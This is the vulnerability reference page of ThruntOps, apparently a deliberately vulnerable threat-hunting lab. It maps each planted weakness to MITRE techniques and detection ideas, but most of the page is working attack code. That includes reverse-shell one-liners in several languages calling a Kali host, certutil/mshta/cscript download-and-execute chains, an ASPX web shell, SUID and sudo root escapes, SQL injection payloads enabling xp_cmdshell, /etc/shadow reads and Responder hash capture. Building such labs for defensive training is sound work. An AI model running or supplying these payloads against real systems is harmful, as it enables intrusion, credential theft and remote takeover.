Vulnerabilities

Attack surface and intentional vulnerability classes present in the ThruntOps lab.


Table of contents

  1. Active Directory
    1. Credential Reuse — Domain User to Domain Admin
    2. RDP Access to Domain Controllers — Low-Privilege User
    3. LAPS Password Read — Low-Privilege Domain User
    4. RDP Access to ADCS — Low-Privilege Domain User
  2. Linux Privilege Escalation
    1. SUID R — Shell Escape to Root (gitlab)
    2. SUID apt-get — Shell Escape to Root (gitlab)
    3. SUID less — Shell Escape to Root (gitlab)
    4. SUID rsync — Shell Escape to Root (gitlab)
    5. sudo ansible-playbook — Shell Escape to Root (ops)
    6. sudo ansible-test — Shell Escape to Root (ops)
    7. sudo certbot — Shell Escape to Root (ops)
    8. sudo watch — Shell Escape to Root (ops)
  3. Reverse Shells
    1. PHP
    2. Ruby
    3. Python
    4. Node.js
    5. tclsh
    6. Perl
  4. Windows Reverse Shells
    1. PowerShell
    2. mshta.exe
    3. certutil
    4. cscript
    5. wscript
  5. Linux Capabilities
    1. cap_gdb — CAP_SETUID → Root Shell (ops)
    2. cap_gzip — CAP_DAC_OVERRIDE → Arbitrary File Read (gitlab)
  6. Web Application
    1. SQL Injection — Login Bypass and RCE via xp_cmdshell (WEB)
    2. Arbitrary File Upload — Web Shell (WEB)
    3. Directory Traversal — web.config / Credential Disclosure (WEB)
  7. MSSQL
    1. xp_cmdshell — OS Command Execution via SQL (WEB)
    2. NTLM Hash Capture via xp_dirtree (WEB)
    3. DBA Group → Sysadmin Escalation (WEB)
  8. By Technology
  9. Notes

Active Directory

Credential Reuse — Domain User to Domain Admin

Field Detail
Accounts affected primary_user01 (thruntops.domain), secondary_user01 (secondary.thruntops.domain)
Condition These accounts share the exact password of their respective domainadmin
Primitive Low-privilege domain user credential → Domain Admin via password reuse
MITRE ATT&CK T1078.002 — Valid Accounts: Domain Accounts
Related techniques T1110.001 — Brute Force: Password Guessing, T1110.004 — Credential Stuffing

Attack path:

Compromise primary_user01 (low-priv)
  → Recover plaintext / NTLM hash
  → Reuse credential against domainadmin
  → Full domain compromise (T1078.002)

Detection opportunities:

  • Logon event with domainadmin originating from a workstation (Event ID 4624, logon type 3/10)
  • Same NTLM hash seen across accounts of different privilege levels (requires credential dumping detection — T1003)
  • Lateral movement from workstation to DC using admin credentials (Event ID 4769 / Kerberos TGS request for privileged service)

RDP Access to Domain Controllers — Low-Privilege User

Field Detail
Accounts affected primary_user02 (thruntops.domain → DC01-2022), secondary_user02 (secondary.thruntops.domain → DC01-SEC)
Condition Low-privilege domain users are members of the Remote Desktop Users group on their respective domain controller
Primitive Interactive session on a DC as a non-admin — enables local enumeration, memory access attempts, and token abuse
MITRE ATT&CK T1021.001 — Remote Services: Remote Desktop Protocol
Related techniques T1078.002 — Valid Accounts: Domain Accounts, T1003.001 — OS Credential Dumping: LSASS Memory

Attack path:

Compromise primary_user02 (low-priv)
  → RDP to DC01-2022 (T1021.001)
  → Interactive session on DC — LSASS in scope (T1003.001)
  → Dump credentials / escalate to Domain Admin

Detection opportunities:

  • RDP logon to DC from non-admin account (Event ID 4624, logon type 10, source non-admin)
  • Interactive session on DC from workstation IP (Event ID 4778 / 4779 — session connect/disconnect)
  • Process creation under non-admin account on DC (Sysmon Event ID 1)

LAPS Password Read — Low-Privilege Domain User

Field Detail
Accounts affected primary_user03 (thruntops.domain), secondary_user03 (secondary.thruntops.domain)
Condition Set-LapsADReadPasswordPermission granted on the domain root — these users can read msLAPS-Password on any workstation in their domain
Primitive Low-privilege domain user reads LAPS-managed local admin password → local admin on any workstation
MITRE ATT&CK T1555 — Credentials from Password Stores
Related techniques T1078.002 — Valid Accounts: Domain Accounts, T1021.001 — Remote Services: RDP

Attack path:

Compromise primary_user03 (low-priv)
  → Query LAPS: Get-LapsADPassword -Identity WIN11-22H2-1 (T1555)
  → Recover localuser password for target workstation
  → RDP / lateral movement as local admin (T1021.001)

Detection opportunities:

  • Read access to msLAPS-Password attribute by non-admin account (AD audit — Event ID 4662, object access on computer object)
  • Get-LapsADPassword or LDAP query for msLAPS-Password from non-privileged context

RDP Access to ADCS — Low-Privilege Domain User

Field Detail
Accounts affected primary_user04 (thruntops.domain), secondary_user04 (secondary.thruntops.domain)
Condition Low-privilege domain users from both domains are members of Remote Desktop Users on the Certificate Authority (ADCS VM)
Primitive Interactive session on the CA — enables certificate template enumeration, ESC abuse, and potential CA private key access
MITRE ATT&CK T1021.001 — Remote Services: Remote Desktop Protocol
Related techniques T1649 — Steal or Forge Authentication Certificates, T1078.002 — Valid Accounts: Domain Accounts

Attack path:

Compromise primary_user04 (low-priv)
  → RDP to ADCS (T1021.001)
  → Enumerate certificate templates — identify ESC misconfigurations
  → Request malicious certificate (T1649)
  → Authenticate as Domain Admin using certificate

Detection opportunities:

  • RDP logon to ADCS from non-admin account (Event ID 4624, logon type 10)
  • Certificate enrollment from unexpected account (Event ID 4886 / 4887 — certificate issued)
  • Certify / Certipy tooling signatures in process creation logs (Sysmon Event ID 1)

Linux Privilege Escalation

Entry points: secondary_user06 → gitlab (10.2.50.15), primary_user06 → ops (10.2.50.2).

SUID R — Shell Escape to Root (gitlab)

Field Detail
Host gitlab (10.2.50.15)
Entry point secondary_user06 (SSH, no sudo)
Condition /usr/bin/R has SUID root bit set
Primitive R spawns a shell inheriting the SUID effective UID → root shell
GTFOBins R — SUID
MITRE ATT&CK T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid

Exploit:

R --no-save -e 'system("/bin/sh")'

Attack path:

SSH as secondary_user06 (no sudo)
  → Discover SUID binaries: find / -perm -4000 -type f 2>/dev/null
  → Identify /usr/bin/R with SUID root
  → R --no-save -e 'system("/bin/sh")' → root shell (T1548.001)

Detection opportunities:

  • R process spawned by a non-root user with effective UID 0 (Sysmon/auditd — process creation with euid=0)
  • /bin/sh child of R process owned by non-root user
  • SUID binary execution outside expected administrative context

SUID apt-get — Shell Escape to Root (gitlab)

Field Detail
Host gitlab (10.2.50.15)
Entry point secondary_user06 (SSH, no sudo)
Condition /usr/bin/apt-get has SUID root bit set
Primitive apt-get pre-invoke hook executes an arbitrary command as root before the package operation runs
GTFOBins apt-get — SUID
MITRE ATT&CK T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid

Exploit:

# Method 1 — Pre-Invoke option (shell exits, then update runs)
apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

# Method 2 — Dpkg pre-invoke config (package must not be installed)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > /tmp/x
apt-get -y install -c /tmp/x sl

Attack path:

SSH as secondary_user06 (no sudo)
  → Discover SUID binaries: find / -perm -4000 -type f 2>/dev/null
  → Identify /usr/bin/apt-get with SUID root
  → apt-get update -o APT::Update::Pre-Invoke::=/bin/sh → root shell (T1548.001)

Detection opportunities:

  • apt-get process spawned by non-root user with effective UID 0
  • /bin/sh child of apt-get outside expected maintenance window
  • -o APT::Update::Pre-Invoke or Dpkg::Pre-Invoke in process arguments (Sysmon/auditd)

SUID less — Shell Escape to Root (gitlab)

Field Detail
Host gitlab (10.2.50.15)
Entry point secondary_user06 (SSH, no sudo)
Condition /usr/bin/less has SUID root bit set
Primitive less shell escape via ! command executes a shell with the SUID effective UID
GTFOBins less — SUID
MITRE ATT&CK T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid

Exploit:

less /etc/hosts
!/bin/sh

Attack path:

SSH as secondary_user06 (no sudo)
  → Discover SUID binaries: find / -perm -4000 -type f 2>/dev/null
  → Identify /usr/bin/less with SUID root
  → less /etc/hosts → !/bin/sh → root shell (T1548.001)

Detection opportunities:

  • less spawning /bin/sh as child process with euid=0 (Sysmon/auditd)
  • Shell process with effective UID 0 parented to a pager binary

SUID rsync — Shell Escape to Root (gitlab)

Field Detail
Host gitlab (10.2.50.15)
Entry point secondary_user06 (SSH, no sudo)
Condition /usr/bin/rsync has SUID root bit set
Primitive rsync -e flag specifies a custom remote shell command — used to spawn a privileged shell via -p
GTFOBins rsync — SUID
MITRE ATT&CK T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid

Exploit:

rsync -e '/bin/sh -p -c "/bin/sh -p 0<&2 1>&2"' x:x

Attack path:

SSH as secondary_user06 (no sudo)
  → Discover SUID binaries: find / -perm -4000 -type f 2>/dev/null
  → Identify /usr/bin/rsync with SUID root
  → rsync -e '/bin/sh -p -c "/bin/sh -p 0<&2 1>&2"' x:x → root shell (T1548.001)

Detection opportunities:

  • rsync process with -e argument containing /bin/sh (Sysmon/auditd process arguments)
  • /bin/sh -p spawned with euid=0 from rsync parent

sudo ansible-playbook — Shell Escape to Root (ops)

Field Detail
Host ops (10.2.50.2)
Entry point primary_user06 (SSH, restricted sudo)
Condition primary_user06 can run /usr/bin/ansible-playbook with sudo (NOPASSWD)
Primitive ansible-playbook executes an arbitrary playbook as root — task with shell module spawns a root shell
GTFOBins ansible-playbook — sudo
MITRE ATT&CK T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Exploit:

echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' > /tmp/x
sudo ansible-playbook /tmp/x

Detection opportunities:

  • ansible-playbook executed via sudo by non-admin user (auditd syscall execve, euid=0)
  • Playbook path in /tmp or user-writable directory

sudo ansible-test — Shell Escape to Root (ops)

Field Detail
Host ops (10.2.50.2)
Entry point primary_user06 (SSH, restricted sudo)
Condition primary_user06 can run /usr/bin/ansible-test with sudo (NOPASSWD)
Primitive ansible-test shell drops to an interactive shell as root
GTFOBins ansible-test — sudo
MITRE ATT&CK T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Exploit:

sudo ansible-test shell

Detection opportunities:

  • ansible-test shell executed via sudo (auditd)
  • Interactive shell spawned from ansible-test with euid=0

sudo certbot — Shell Escape to Root (ops)

Field Detail
Host ops (10.2.50.2)
Entry point primary_user06 (SSH, restricted sudo)
Condition primary_user06 can run /usr/bin/certbot with sudo (NOPASSWD)
Primitive certbot --pre-hook flag executes an arbitrary command as root before the certificate operation
GTFOBins certbot — sudo
MITRE ATT&CK T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Exploit:

sudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x \
  --logs-dir /tmp --work-dir /tmp --config-dir /tmp \
  --pre-hook '/bin/sh 1>&0 2>&0'

Detection opportunities:

  • certbot executed via sudo with --pre-hook argument (auditd process arguments)
  • /bin/sh child of certbot with euid=0

sudo watch — Shell Escape to Root (ops)

Field Detail
Host ops (10.2.50.2)
Entry point primary_user06 (SSH, restricted sudo)
Condition primary_user06 can run /usr/bin/watch with sudo (NOPASSWD)
Primitive watch executes the given command — passing a shell reset sequence drops to a root shell
GTFOBins watch — sudo
MITRE ATT&CK T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Exploit:

sudo watch 'reset; exec /bin/sh 1>&0 2>&0'

Detection opportunities:

  • watch executed via sudo with shell payload in command argument (auditd)
  • /bin/sh child of watch with euid=0

Reverse Shells

Available on both Linux hosts: gitlab (10.2.50.15) and ops (10.2.50.2).

Prerequisites: Kali must be deployed and reachable at 10.2.50.250.

bash scripts/add-kali.sh   # if not already deployed

Shell upgrade (run after catching any reverse shell):

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

PHP

# 1. Listener — Kali (10.2.50.250)
nc -lvnp 4444

# 2. Payload — target Linux host
php -r '$s=fsockopen("10.2.50.250",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

# 1. Listener — Kali (10.2.50.250)
nc -lvnp 4444

# 2. Payload — target Linux host
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.2.50.250","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Python

# 1. Listener — Kali (10.2.50.250)
nc -lvnp 4444

# 2. Payload — target Linux host
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.2.50.250",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Node.js

# 1. Listener — Kali (10.2.50.250)
nc -lvnp 4444

# 2. Payload — target Linux host
node -e 'var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);var c=new net.Socket();c.connect(4444,"10.2.50.250",function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});'

tclsh

# 1. Listener — Kali (10.2.50.250)
nc -lvnp 4444

# 2. Payload — target Linux host
echo 'set s [socket 10.2.50.250 4444];fconfigure $s -translation binary -buffering full;set p [open "|/bin/sh -i" r+];fconfigure $p -translation binary -buffering full;fileevent $s readable "set d [read $s];puts -nonewline $p $d;flush $p";fileevent $p readable "set d [read $p];puts -nonewline $s $d;flush $s";vwait forever' | tclsh

Perl

# 1. Listener — Kali (10.2.50.250)
nc -lvnp 4444

# 2. Payload — target Linux host
perl -e 'use Socket;$i="10.2.50.250";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Windows Reverse Shells

Available on all domain-joined Windows VMs: DC01-2022 (10.2.50.11), DC01-SEC (10.2.50.12), ADCS (10.2.50.13), WEB (10.2.50.14), WIN11-22H2-1 (10.2.50.21), WIN11-22H2-2 (10.2.50.22).

Prerequisites: Kali at 10.2.50.250. For download-based payloads, start an HTTP server on Kali first:

# Kali — serve files from current working directory
python3 -m http.server 8080

PowerShell

# 1. Listener — Kali (10.2.50.250)
nc -lvnp 4444

# 2. Payload — target Windows host (cmd or PS prompt)
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('10.2.50.250',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($n=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$n);$r=(iex $d 2>&1|Out-String);$rb=([Text.Encoding]::ASCII).GetBytes($r+'PS '+(pwd).Path+'> ');$s.Write($rb,0,$rb.Length);$s.Flush()};$c.Close()"

mshta.exe

mshta executes HTML Application (.hta) files — VBScript/JScript runs with the full scripting host trust level, bypassing browser security zones.

# 1. Create shell.hta — Kali
cat > shell.hta << 'EOF'
<html><head><script language="VBScript">
Set oShell = CreateObject("WScript.Shell")
oShell.Run "powershell -nop -w hidden -c ""$c=New-Object Net.Sockets.TCPClient('10.2.50.250',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($n=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$n);$r=(iex $d 2>&1|Out-String);$rb=([Text.Encoding]::ASCII).GetBytes($r+'PS '+(pwd).Path+'> ');$s.Write($rb,0,$rb.Length);$s.Flush()};$c.Close()""", 0, False
self.close
</script></head></html>
EOF

# 2. Listener — Kali (10.2.50.250)
nc -lvnp 4444

# 3. HTTP server — Kali (same directory as shell.hta)
python3 -m http.server 8080

# 4. Execute — target Windows host (cmd prompt)
mshta http://10.2.50.250:8080/shell.hta

certutil

certutil is a built-in Windows certificate utility — its -urlcache flag downloads arbitrary files from HTTP.

# 1. Create shell.ps1 — Kali
cat > shell.ps1 << 'EOF'
$c=New-Object Net.Sockets.TCPClient('10.2.50.250',4444)
$s=$c.GetStream()
[byte[]]$b=0..65535|%{0}
while(($n=$s.Read($b,0,$b.Length)) -ne 0){
    $d=(New-Object Text.ASCIIEncoding).GetString($b,0,$n)
    $r=(iex $d 2>&1|Out-String)
    $rb=([Text.Encoding]::ASCII).GetBytes($r+'PS '+(pwd).Path+'> ')
    $s.Write($rb,0,$rb.Length);$s.Flush()
}
$c.Close()
EOF

# 2. Listener — Kali (10.2.50.250)
nc -lvnp 4444

# 3. HTTP server — Kali (same directory as shell.ps1)
python3 -m http.server 8080

# 4. Download and execute — target Windows host (cmd prompt)
certutil -urlcache -split -f http://10.2.50.250:8080/shell.ps1 C:\Windows\Temp\shell.ps1
powershell -nop -f C:\Windows\Temp\shell.ps1

cscript

cscript runs Windows Script Host files in console mode — output is written to the calling terminal window.

# 1. Create shell.js — Kali
cat > shell.js << 'EOF'
var s = new ActiveXObject("WScript.Shell");
s.Run("powershell -nop -w hidden -c \"$c=New-Object Net.Sockets.TCPClient('10.2.50.250',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($n=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$n);$r=(iex $d 2>&1|Out-String);$rb=([Text.Encoding]::ASCII).GetBytes($r+'PS '+(pwd).Path+'> ');$s.Write($rb,0,$rb.Length);$s.Flush()};$c.Close()\"", 0, false);
EOF

# 2. Listener — Kali (10.2.50.250)
nc -lvnp 4444

# 3. HTTP server — Kali (same directory as shell.js)
python3 -m http.server 8080

# 4. Download and execute — target Windows host (cmd prompt)
certutil -urlcache -split -f http://10.2.50.250:8080/shell.js C:\Windows\Temp\shell.js
cscript //nologo C:\Windows\Temp\shell.js

wscript

wscript runs the same Windows Script Host files in GUI (windowless) mode — no console window appears on the target host.

# 1–3. Same as cscript — create shell.js on Kali, start listener, start HTTP server

# 4. Download and execute (windowless) — target Windows host (cmd prompt)
certutil -urlcache -split -f http://10.2.50.250:8080/shell.js C:\Windows\Temp\shell.js
wscript //nologo C:\Windows\Temp\shell.js

Linux Capabilities

cap_gdb — CAP_SETUID → Root Shell (ops)

Field Detail
Host ops (10.2.50.2)
Entry point Any user with SSH access (no sudo required)
Condition /usr/bin/gdb has cap_setuid+eip capability set
Primitive gdb’s Python interpreter calls os.setuid(0) — capability allows the setuid syscall without SUID bit — then drops to a root shell
GTFOBins gdb — Capabilities
MITRE ATT&CK T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid

Exploit:

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit /dev/null

Attack path:

SSH as any user (no sudo)
  → Enumerate capabilities: getcap -r / 2>/dev/null
  → Identify /usr/bin/gdb with cap_setuid+eip
  → gdb Python: os.setuid(0) → !sh → root shell (T1548.001)

Detection opportunities:

  • gdb process spawning /bin/sh with euid=0 from non-root user (auditd execve, euid field)
  • getcap enumeration on the filesystem (process arguments)
  • Python setuid syscall from gdb context

cap_gzip — CAP_DAC_OVERRIDE → Arbitrary File Read (gitlab)

Field Detail
Host gitlab (10.2.50.15)
Entry point Any user with SSH access (no sudo required)
Condition /usr/bin/gzip has cap_dac_override+eip capability set
Primitive CAP_DAC_OVERRIDE bypasses DAC (Discretionary Access Control) read/write checks — gzip can read any file regardless of permissions, leaking content via compression error output
GTFOBins gzip — Capabilities
MITRE ATT&CK T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid

Exploit:

# Read /etc/shadow (or any root-owned file)
LFILE=/etc/shadow
gzip -f "$LFILE" -t

Attack path:

SSH as any user (no sudo)
  → Enumerate capabilities: getcap -r / 2>/dev/null
  → Identify /usr/bin/gzip with cap_dac_override+eip
  → gzip -f /etc/shadow -t → shadow hash contents in error output (T1548.001)

Detection opportunities:

  • gzip accessing files owned by root that the calling user cannot normally read (auditd openat syscall with sensitive path)
  • getcap enumeration (process arguments)
  • gzip invoked with -t flag on /etc/shadow, /etc/passwd, /root/ paths

Web Application

The ThruntOps internal web portal runs on WEB (10.2.50.14) via IIS + ASP.NET 4.5. The application contains three intentional vulnerability classes. Source lives in the thruntops-web GitLab project at http://10.2.50.15.

Entry point: webdev → GitLab maintainer on thruntops-web → CI/CD deploys .aspx files to WEB wwwroot via SMB.


SQL Injection — Login Bypass and RCE via xp_cmdshell (WEB)

Field Detail
Host WEB (10.2.50.14)
Entry point Login.aspx — unauthenticated
Condition Username field is concatenated directly into a SQL WHERE clause; connection string uses SA account with xp_cmdshell available
Primitive Classic string-based SQLi → authentication bypass → stacked queries → xp_cmdshell → OS command execution as MSSQL service account
MITRE ATT&CK T1190 — Exploit Public-Facing Application, T1059.003 — Command and Scripting Interpreter: Windows Command Shell

Exploit:

# Authentication bypass — Login.aspx username field
' OR '1'='1' --

# Stacked query — enable xp_cmdshell (if not already enabled)
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --

# OS command execution
'; EXEC xp_cmdshell 'whoami'; --

Attack path:

Login.aspx — POST username=' OR '1'='1' --
  → Authentication bypass → authenticated session
  → Stacked query: enable xp_cmdshell (T1059.003)
  → xp_cmdshell 'powershell -c <reverse shell>' → shell as MSSQL service account

Detection opportunities:

  • SQL error messages or anomalous query patterns in IIS logs (single-quote characters, -- comments, EXEC keywords)
  • sp_configure or xp_cmdshell executed via application service account (SQL Server audit, Event ID 18456 / 33205)
  • cmd.exe or powershell.exe spawned by sqlservr.exe (Sysmon Event ID 1)

Arbitrary File Upload — Web Shell (WEB)

Field Detail
Host WEB (10.2.50.14)
Entry point Upload.aspx — authenticated (bypass login first or use valid credentials)
Condition No file extension validation; files written to uploads/ under wwwroot with original filename; IIS configured to execute .aspx files in uploads/
Primitive Upload a .aspx web shell → browse to http://10.2.50.14/uploads/<shell>.aspx → arbitrary OS command execution as IIS application pool identity
MITRE ATT&CK T1505.003 — Server Software Component: Web Shell

Exploit:

<%@ Page Language="C#" %>
<% System.Diagnostics.Process p = new System.Diagnostics.Process();
   p.StartInfo.FileName = "cmd.exe";
   p.StartInfo.Arguments = "/c " + Request["cmd"];
   p.StartInfo.UseShellExecute = false;
   p.StartInfo.RedirectStandardOutput = true;
   p.Start();
   Response.Write(p.StandardOutput.ReadToEnd()); %>

Upload shell.aspx, then:

http://10.2.50.14/uploads/shell.aspx?cmd=whoami

Attack path:

POST /Upload.aspx — multipart file: shell.aspx (ASPX web shell)
  → File saved to C:\inetpub\wwwroot\uploads\shell.aspx
  → GET /uploads/shell.aspx?cmd=powershell+-c+<payload>
  → RCE as IIS AppPool\DefaultAppPool (T1505.003)

Detection opportunities:

  • New .aspx file created under uploads/ (Sysmon Event ID 11 — file create, path matches *\uploads\*.aspx)
  • w3wp.exe spawning cmd.exe or powershell.exe (Sysmon Event ID 1, parent image w3wp.exe)
  • HTTP 200 response to a previously non-existent .aspx path under uploads/ (IIS access log)

Directory Traversal — web.config / Credential Disclosure (WEB)

Field Detail
Host WEB (10.2.50.14)
Entry point View.aspx?file= — authenticated
Condition file parameter is appended to a base path (~/documents/) via Server.MapPath without sanitization — ../ sequences are not stripped
Primitive Traverse out of documents/ to read web.config — which contains the SA password in the connection string
MITRE ATT&CK T1083 — File and Directory Discovery, T1552.001 — Unsecured Credentials: Credentials in Files

Exploit:

GET /View.aspx?file=../web.config

web.config contains:

<add name="ThruntOps"
     connectionString="Server=localhost;Database=ThruntOps;User Id=sa;Password=Sa@ThruntOps2024!;"
     providerName="System.Data.SqlClient" />

Attack path:

GET /View.aspx?file=../web.config
  → Server.MapPath("~/documents/") + "../web.config"
  → Reads C:\inetpub\wwwroot\web.config
  → SA password disclosed: Sa@ThruntOps2024!
  → sqlcmd -S 10.2.50.14 -U sa -P 'Sa@ThruntOps2024!' -Q "EXEC xp_cmdshell 'whoami'"

Detection opportunities:

  • ../ in query string parameters (IIS URL scan rule / WAF pattern)
  • web.config read by w3wp.exe from a path that includes parent directory traversal (Sysmon Event ID 15 — file stream access, or audit object access)
  • Direct sqlcmd connection to MSSQL from unexpected source IP (SQL Server audit / network connection logs)

MSSQL

MSSQL Server 2019 runs on WEB (10.2.50.14). Mixed-mode authentication is enabled; SA account is active with a known password (Sa@ThruntOps2024! — leaked via directory traversal). The thruntops\DBA group has sysadmin rights.


xp_cmdshell — OS Command Execution via SQL (WEB)

Field Detail
Host WEB (10.2.50.14)
Entry point SA credentials (leaked via traversal) or thruntops\DBA group member
Condition SA account is sysadmin; xp_cmdshell can be enabled via sp_configure
Primitive SA or sysadmin executes OS commands as the MSSQL service account (NT SERVICE\MSSQLSERVER)
MITRE ATT&CK T1059.003 — Command and Scripting Interpreter: Windows Command Shell

Exploit:

-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Execute OS command
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'powershell -nop -w hidden -c "<reverse shell>"';

Detection opportunities:

  • sp_configure 'xp_cmdshell' execution (SQL Server audit — Event Class: Object:Altered)
  • sqlservr.exe spawning cmd.exe or powershell.exe (Sysmon Event ID 1)
  • xp_cmdshell in SQL batch text (SQL Server trace / Extended Events)

NTLM Hash Capture via xp_dirtree (WEB)

Field Detail
Host WEB (10.2.50.14)
Entry point SA credentials or sysadmin-equivalent account
Condition xp_dirtree or xp_fileexist initiates an SMB connection to an attacker-controlled host — MSSQL service account sends an NTLM authentication challenge
Primitive Capture NT SERVICE\MSSQLSERVER NTLM hash → crack offline → or relay to another service
MITRE ATT&CK T1187 — Forced Authentication

Exploit:

# 1. Start Responder on Kali
responder -I eth0 -wPv

# 2. Trigger NTLM auth from MSSQL
EXEC xp_dirtree '\\10.2.50.250\share'

Detection opportunities:

  • xp_dirtree or xp_fileexist with UNC path to non-domain host (SQL Server audit)
  • Outbound SMB connection from WEB to attacker IP (network traffic, port 445)
  • Responder / NTLM capture signatures in network logs

DBA Group → Sysadmin Escalation (WEB)

Field Detail
Host WEB (10.2.50.14)
Entry point primary_user07 (DBA group member, thruntops.domain)
Condition thruntops\DBA AD group is mapped to the sysadmin server role in MSSQL
Primitive Domain user in DBA group has full sysadmin rights on MSSQL — can enable xp_cmdshell, read all databases, impersonate any login
MITRE ATT&CK T1078.002 — Valid Accounts: Domain Accounts

Attack path:

Compromise primary_user07 credentials
  → Connect to MSSQL: sqlcmd -S 10.2.50.14 -E (Windows auth via RDP or WinRM)
  → SELECT IS_SRVROLEMEMBER('sysadmin')  → 1
  → Enable xp_cmdshell → OS command execution as MSSQL service account

Detection opportunities:

  • Unexpected Windows auth MSSQL login from non-service account (SQL Server audit)
  • IS_SRVROLEMEMBER('sysadmin') or role enumeration queries
  • sp_configure / xp_cmdshell activity from DBA account

By Technology

Technology Vectors
Active Directory (dual domain) Credential reuse, Kerberoasting, AS-REP roasting, ACL abuse, lateral movement, trust abuse
ADCS ESC1–ESC16 certificate template misconfigurations, RDP access to CA
IIS + ASP.NET SQL injection (auth bypass + xp_cmdshell), arbitrary file upload (web shell), directory traversal (credential disclosure)
MSSQL xp_cmdshell (OS execution), xp_dirtree (NTLM capture), DBA group → sysadmin escalation
GitLab CE Source code exposure, CI/CD pipeline poisoning, hardcoded secrets in .gitlab-ci.yml, SUID privesc
Linux — gitlab SUID binary abuse (R, apt-get, less, rsync), capabilities (gzip/CAP_DAC_OVERRIDE), reverse shells
Linux — ops Restricted sudo escape (ansible-playbook, ansible-test, certbot, watch), capabilities (gdb/CAP_SETUID), reverse shells
Windows — all domain VMs Reverse shells (PowerShell, mshta.exe, certutil, cscript, wscript)
Elastic SIEM Detection engineering, alert tuning, log analysis

Notes

  • Passwords are randomised but primary_user01 / secondary_user01 intentionally share their domain admin password
  • No password policy enforced on the domain
  • ADCS is configured with intentionally misconfigured templates to enable ESC attack paths
  • GitLab CI/CD pipeline deploys directly to IIS on push — pipeline poisoning surface
  • Domain trust between thruntops.domain and secondary.thruntops.domain enables cross-domain lateral movement
  • Linux privesc scenarios are only present on profiles that include the relevant VM (gitlab: elastic + splunk; ops: all profiles)

ThruntOps — MIT License

This site uses Just the Docs, a documentation theme for Jekyll.